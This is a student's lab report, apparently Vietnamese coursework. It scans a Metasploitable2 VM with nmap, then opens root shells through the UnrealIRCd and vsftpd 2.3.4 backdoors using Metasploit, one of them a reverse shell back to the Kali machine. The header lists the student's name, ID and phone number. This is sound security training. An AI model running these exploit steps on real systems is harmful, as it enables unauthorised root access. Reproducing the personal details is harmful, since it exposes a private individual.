

HỌC VIỆN CÔNG NGHỆ BƯU CHÍNH VIỄN THÔNG

KHOA AN TOÀN THÔNG TIN



BÀI BÁO CÁO THỰC HÀNH SỐ 1

MÔN HỌC: CƠ SỞ AN TOÀN THÔNG TIN

NHÓM MÔN HỌC: Nhóm 03

Giảng viên: Hoàng Xuân Dậu

Sinh viên: Trịnh Viết Hiếu

Mã số sinh viên: B20DCAT063

Lớp: D20CQAT03-B

Số điện thoại: 0988289071

Hà Nội năm 2022

I. Quét máy victim Metasploitable2 tìm các lỗ hổng tồn tại

1. Tìm địa chỉ IP của 2 máy kali và victim:

- Địa chỉ IP của máy victim:

```
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@B20AT063-Hieu-Meta:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0c:29:b9:50:32
          inet addr:192.168.198.129  Bcast:192.168.198.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:feb9:5032/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:60 errors:0 dropped:0 overruns:0 frame:0
          TX packets:85 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:5745 (5.6 KB)  TX bytes:8706 (8.5 KB)
          Interrupt:17 Base address:0x2000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:106 errors:0 dropped:0 overruns:0 frame:0
          TX packets:106 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:25781 (25.1 KB)  TX bytes:25781 (25.1 KB)

msfadmin@B20AT063-Hieu-Meta:~$
```

- Địa chỉ IP của máy kali:

```
(kali@B20AT063-Hieu-kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
      inet 192.168.198.128 netmask 255.255.255.0  broadcast 192.168.198.255
      inet6 fe80::20c:29ff:fe24:c78  prefixlen 64  scopeid 0x20<link>
      ether 00:0c:29:24:0c:78  txqueuelen 1000  (Ethernet)
      RX packets 53  bytes 5245 (5.1 KiB)
      RX errors 0  dropped 0  overruns 0  frame 0
      TX packets 21  bytes 1902 (1.8 KiB)
      TX errors 0  dropped 0  overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
      inet 127.0.0.1 netmask 255.0.0.0
      inet6 ::1  prefixlen 128  scopeid 0x10<host>
      loop txqueuelen 1000  (Local Loopback)
      RX packets 8  bytes 400 (400.0 B)
      RX errors 0  dropped 0  overruns 0  frame 0
      TX packets 8  bytes 400 (400.0 B)
      TX errors 0  dropped 0  overruns 0  carrier 0  collisions 0

(kali@B20AT063-Hieu-kali)-[~]
$
```

2. Kiểm tra kết nối giữa 2 máy:

- Từ máy kali, chạy lệnh ping tới máy victim:
 - Ấn CTRL + c để dừng ping

```

(kali@B20AT063-Hieu-kali)-[~]
$ ping 192.168.198.129
PING 192.168.198.129 (192.168.198.129) 56(84) bytes of data.
64 bytes from 192.168.198.129: icmp_seq=1 ttl=64 time=0.283 ms
64 bytes from 192.168.198.129: icmp_seq=2 ttl=64 time=0.167 ms
64 bytes from 192.168.198.129: icmp_seq=3 ttl=64 time=0.365 ms
64 bytes from 192.168.198.129: icmp_seq=4 ttl=64 time=0.352 ms
64 bytes from 192.168.198.129: icmp_seq=5 ttl=64 time=0.964 ms
64 bytes from 192.168.198.129: icmp_seq=6 ttl=64 time=0.322 ms
64 bytes from 192.168.198.129: icmp_seq=7 ttl=64 time=0.329 ms
64 bytes from 192.168.198.129: icmp_seq=8 ttl=64 time=0.387 ms
64 bytes from 192.168.198.129: icmp_seq=9 ttl=64 time=0.167 ms
64 bytes from 192.168.198.129: icmp_seq=10 ttl=64 time=0.151 ms
^C
--- 192.168.198.129 ping statistics ---
10 packets transmitted, 10 received, 0% packet loss, time 9172ms
rtt min/avg/max/mdev = 0.151/0.348/0.964/0.221 ms
(kali@B20AT063-Hieu-kali)-[~]
$ 

```

- Từ máy victim, chạy lệnh ping tới máy kali:

```

msfadmin@B20AT063-Hieu-Meta:~$ ping 192.168.198.128
PING 192.168.198.128 (192.168.198.128) 56(84) bytes of data.
64 bytes from 192.168.198.128: icmp_seq=1 ttl=64 time=0.312 ms
64 bytes from 192.168.198.128: icmp_seq=2 ttl=64 time=0.341 ms
64 bytes from 192.168.198.128: icmp_seq=3 ttl=64 time=0.354 ms
64 bytes from 192.168.198.128: icmp_seq=4 ttl=64 time=0.155 ms
64 bytes from 192.168.198.128: icmp_seq=5 ttl=64 time=0.347 ms
64 bytes from 192.168.198.128: icmp_seq=6 ttl=64 time=0.355 ms
64 bytes from 192.168.198.128: icmp_seq=7 ttl=64 time=0.297 ms
64 bytes from 192.168.198.128: icmp_seq=8 ttl=64 time=0.343 ms
64 bytes from 192.168.198.128: icmp_seq=9 ttl=64 time=0.152 ms
64 bytes from 192.168.198.128: icmp_seq=10 ttl=64 time=0.267 ms

--- 192.168.198.128 ping statistics ---
10 packets transmitted, 10 received, 0% packet loss, time 8998ms
rtt min/avg/max/mdev = 0.152/0.292/0.355/0.075 ms
msfadmin@B20AT063-Hieu-Meta:~$

```

3. Quét các cổng dịch vụ đang mở và lỗ hổng đang tồn tại:

- Quét các cổng dịch vụ đang mở:
 - Các đoạn có chứa dịch vụ vsftp:

```

(kali@B20AT063-Hieu-kali)-[~]
$ nmap -sV -A 192.168.198.129
Starting Nmap 7.91 ( https://nmap.org ) at 2022-09-20 08:28 EDT
Nmap scan report for 192.168.198.129
Host is up (0.0027s latency).
Not shown: 978 closed ports
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|_STAT:
|_FTP server status:
|_Connected to 192.168.198.128
|_Logged in as ftp
|_TYPE: ASCII
|_No session bandwidth limit
|_Session timeout in seconds is 300
|_Control connection is plain text
|_Data connections will be plain text
|_vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
ssh-hostkey:
|_ 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
|_smtp-command: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
Not valid before: 2010-03-17T14:07:45
Not valid after: 2010-04-16T14:07:45
ssl-date: 2022-09-20T12:29:32+00:00; +6s from scanner time.
sslv2:
SSLv2 supported
ciphers:
SSL2_DES_192_EDE3_CBC_WITH_MD5
SSL2_RC4_128_WITH_MD5
SSL2_RC2_128_CBC_WITH_MD5
SSL2_RC4_128_EXPORT40_WITH_MD5
SSL2_DES_64_CBC_WITH_MD5
SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
53/tcp    open  domain       ISC BIND 9.4.2
|_dns-nsid:
|_bind.version: 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp    open  rpcbind      2 (RPC #100000)
|_rpcinfo:

```

```

rpcinfo:
program version    port/proto  service
100000  2                111/tcp     rpcbind
100000  2                111/udp     rpcbind
100003  2,3,4            2049/tcp    nfs
100003  2,3,4            2049/udp    nfs
100005  1,2,3            44700/tcp   mountd
100005  1,2,3            52990/udp   mountd
100021  1,3,4            33645/tcp   nlockmgr
100021  1,3,4            40866/udp   nlockmgr
100024  1                50836/tcp   status
100024  1                60126/udp   status
139/tcp    open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
145/tcp    open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
112/tcp    open  exec         netkit-rsh rexecd
113/tcp    open  login        OpenBSD or Solaris rlogind
114/tcp    open  tcpwrapped
1099/tcp   open  java-rmi     GNU Classpath grmiregistry
1524/tcp   open  bindshell    Bash shell (**BACKDOOR**; root shell)
1049/tcp   open  nfs          2-4 (RPC #100003)
1306/tcp   open  mysql        MySQL 5.0.51a-3ubuntu5
mysql-info:
Protocol: 10
Version: 5.0.51a-3ubuntu5
Thread ID: 9
Capabilities flags: 43564
Some Capabilities: Support41Auth, Speaks41ProtocolNew, LongColumnFlag, ConnectWithDatabase, SwitchToSSLAfterHandshake, SupportsTransactions, SupportsCompression
Status: Autocommit
Salt: ~tkZaXucql=)JK{NP*|U

```

- Các đoạn có chứa dịch vụ UnrealIRCd:

```

5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
Not valid before: 2010-03-17T14:07:45
Not valid after: 2010-04-16T14:07:45
ssl-date: 2022-09-20T12:29:32+00:00; +5s from scanner time.
5900/tcp open  vnc          VNC (protocol 3.3)
vnc-info:
  Protocol version: 3.3
  Security types:
  VNC Authentication (2)
6000/tcp open  X11            (access denied)
6667/tcp open  irc            UnrealIRCd
irc-info:
  users: 1
  servers: 1
  lusers: 1
  lservers: 0
  server: irc.Metasploitable.LAN
  version: Unreal3.2.8.1. irc.Metasploitable.LAN
  uptime: 0 days, 0:14:23
  source ident: nmap
  error: Closing Link: ujtwhbkxs[192.168.198.128] (Quit: ujtwhbkxs)
8009/tcp open  ajp13         Apache Jserv (Protocol v1.3)
ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open  http          Apache Tomcat/Coyote JSP engine 1.1
http-favicon: Apache Tomcat
http-server-header: Apache-Coyote/1.1
http-title: Apache Tomcat/5.5
Service Info: Hosts: metasploitable.localdomain, B20AT063-Hieu-Meta, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
  _clock-skews mean: 1h00m05s, deviation: 1h59m59s, median: 5s
  _nbstat: NetBIOS name: B20AT063-HIEU-M, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
  _smb-os-discovery:
    OS: Unix (Samba 3.0.20-Debian)
    NetBIOS computer name:
    Workgroup: WORKGROUP\x00
    System time: 2022-09-20T08:28:51-04:00
  _smb-security-mode:
    account_used: guest
    authentication_level: user
    challenge_response: supported
    message_signing: disabled (dangerous, but default)
  _smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 82.75 seconds

```

- Quét các lỗ hổng:
- Đoạn chứa lỗ hổng dịch vụ ftp cổng 21/tcp:

```

(kali@B20AT063-Hieu-kali) [~]
$ nmap -sC 192.168.198.129
Starting Nmap 7.91 ( https://nmap.org ) at 2022-09-20 08:34 EDT
Nmap scan report for 192.168.198.129
Host is up (0.0019s latency).
Not shown: 978 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
  _ftp-anon: Anonymous FTP login allowed (FTP code 230)
  _ftp-syst:
    STAT:
    FTP server status:
      Connected to 192.168.198.128
      Logged in as ftp
      TYPE: ASCII
      No session bandwidth limit
      Session timeout in seconds is 300
      Control connection is plain text
      Data connections will be plain text
      vsFTPD 2.3.4 - secure, fast, stable
  _End of status
22/tcp    open  ssh
ssh-hostkey:
  1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp    open  telnet
25/tcp    open  smtp
smtp-command: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
Not valid before: 2010-03-17T14:07:45
Not valid after: 2010-04-16T14:07:45
ssl-date: 2022-09-20T12:36:26+00:00; +6s from scanner time.
ssl-v2:
  SSLv2 supported
  ciphers:
    SSL2_RC4_128_EXPORT40_WITH_MD5
    SSL2_DES_64_CBC_WITH_MD5
    SSL2_RC4_128_WITH_MD5
    SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
    SSL2_DES_192_EDE3_CBC_WITH_MD5
    SSL2_RC2_128_CBC_WITH_MD5
53/tcp    open  domain
dns-nsid:
  _bind.version: 9.4.2
80/tcp    open  http
http-title: Metasploitable2 - Linux
111/tcp   open  rpcbind
rpcinfo:
  program version  port/proto service

```



```

111/tcp open  rpcbind
rpcinfo:
  program version  port/proto  service
  100000 2          111/tcp    rpcbind
  100000 2          111/udp    rpcbind
  100003 2,3,4      2049/tcp   nfs
  100003 2,3,4      2049/udp   nfs
  100005 1,2,3      44709/tcp  mountd
  100005 1,2,3      52990/udp  mountd
  100021 1,3,4      33645/tcp  nlockmgr
  100021 1,3,4      40866/udp  nlockmgr
  100024 1          50836/tcp  status
  100024 1          60126/udp  status
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
512/tcp open  exec
513/tcp open  login
514/tcp open  shell
1099/tcp open  rmiregistry
1524/tcp open  ingreslock
2049/tcp open  nfs
3306/tcp open  mysql
mysql-info:
  Protocol: 10
  Version: 5.0.51a-3ubuntu5
  Thread ID: 18
  Capabilities flags: 43564
  Some Capabilities: ConnectWithDatabase, SupportsTransactions, Support41Auth, LongColumnFlag, SwitchToSSLAfterHandshake, Speaks41ProtocolNew, SupportsCompression
  Status: Autocommit
  Salt: 7a'AcNc1.c)0H)4f(1[Z
5432/tcp open  postgresql
ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
  Not valid before: 2010-03-17T14:07:45
  Not valid after: 2010-04-16T14:07:45
  ssl-date: 2022-09-20T12:35:28+00:00; +5s from scanner time.
5900/tcp open  vnc

```

- Đoạn chứa lỗ hổng dịch vụ irc cổng 6667/tcp:

```

5900/tcp open  vnc
vnc-info:
  Protocol version: 3.3
  Security types:
  _ VNC Authentication (2)
6000/tcp open  X11
6667/tcp open  irc
irc-info:
  users: 1
  servers: 1
  lusers: 1
  lservers: 0
  server: irc.Metasploitable.LAN
  version: Unreal3.2.8.1. irc.Metasploitable.LAN
  uptime: 0 days, 0:20:24
  source ident: nmap
  source host: 3FDC5204.768961CD.FFFA6D49.IP
  _ error: Closing Link: gdtfkmtvh[192.168.198.128] (Quit: gdtfkmtvh)
8009/tcp open  ajp13
_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open  unknown
_http-favicon: Apache Tomcat
_http-title: Apache Tomcat/5.5

Host script results:
_clock-skew: mean: 1h00m05s, deviation: 2h00m00s, median: 4s
_nbstat: NetBIOS name: B20AT063-HIEU-M, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
smb-os-discovery:
  OS: Unix (Samba 3.0.20-Debian)
  NetBIOS computer name:
  Workgroup: WORKGROUP\x00
  _ System time: 2022-09-20T08:34:52-04:00
smb-security-mode:
  account_used: guest
  authentication_level: user
  challenge_response: supported
  _ message_signing: disabled (dangerous, but default)
_smb2-time: Protocol negotiation failed (SMB2)

Nmap done: 1 IP address (1 host up) scanned in 94.72 seconds

```

II. Khai thác cửa hậu trên UnrealIRCd:

- Khởi động Metasploit:

```
(kali@B20AT063-Hieu-kali)-[~]
$ msfconsole

Metasploit

      =[ metasploit v6.1.4-dev ]
+ -- --=[ 2162 exploits - 1147 auxiliary - 367 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 8 evasion ]

Metasploit tip: To save all commands executed since start up
to a file, use the makerc command
```

- Khai báo sử dụng mô đun tấn công:

```
msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 192.168.198.128
LHOST => 192.168.198.128
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOST 192.168.198.129
RHOST => 192.168.198.129
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit

[*] Started reverse TCP double handler on 192.168.198.128:4444
[*] 192.168.198.129:6667 - Connected to 192.168.198.129:6667 ...
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname ...
:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] 192.168.198.129:6667 - Sending backdoor command ...
[*] Accepted the first client connection ...
[*] Accepted the second client connection ...
[*] Command: echo IHoukapux6Az95RJ;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets ...
[*] Reading from socket B
[*] B: "IHoukapux6Az95RJ\r\n"
[*] Matching ...
[*] A is input ...
[*] Command shell session 1 opened (192.168.198.128:4444 -> 192.168.198.129:44289) at 2022-09-20 08:43:26 -0400
```

- Chạy các lệnh để đọc tên người dùng và máy đang truy cập:
- Màn hình sau khi tấn công thành công và chạy các lệnh whoami và uname -a trên hệ thống victim qua lỗ hổng UnrealIRCd

```
whoami
root
uname -a
Linux B20AT063-Hieu-Meta 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
^C
Abort session 1? [y/N] y

[*] 192.168.198.129 - Command shell session 1 closed. Reason: User exit
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > █
```

- CTRL c để kết thúc.

III Khai thác cửa hậu trên Vsftpd v2.3.4:

- Khai báo sử dụng mô đun tấn công:

```
[*] 192.168.198.129 - Command shell session 1 closed. Reason: User exit
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 192.168.198.128
LHOST => 192.168.198.128
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.198.129
RHOST => 192.168.198.129
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set payload cmd/unix/interact
payload => cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.198.129:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.198.129:21 - USER: 331 Please specify the password.
[+] 192.168.198.129:21 - Backdoor service has been spawned, handling ...
[+] 192.168.198.129:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 2 opened (192.168.198.128:39763 -> 192.168.198.129:6200) at 2022-09-20 08:47:40 -0400
```

- Chạy các lệnh để đọc tên người dùng và máy đang truy cập:
- Màn hình sau khi tấn công thành công và chạy các lệnh whoami và uname -a trên hệ thống victim qua lỗ hổng Vsftpd v2.3.4

```
whoami
root
uname -a
Linux B20AT063-Hieu-Meta 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
^C
Abort session 2? [y/N] y

[*] 192.168.198.129 - Command shell session 2 closed. Reason: User exit
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > █
```

- Ấn CTRL C để dừng.
- Các lệnh whoami và uname -a trên máy victim:

```
msfadmin@B20AT063-Hieu-Meta:~$ whoami
msfadmin
msfadmin@B20AT063-Hieu-Meta:~$ uname -a
Linux B20AT063-Hieu-Meta 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
msfadmin@B20AT063-Hieu-Meta:~$
```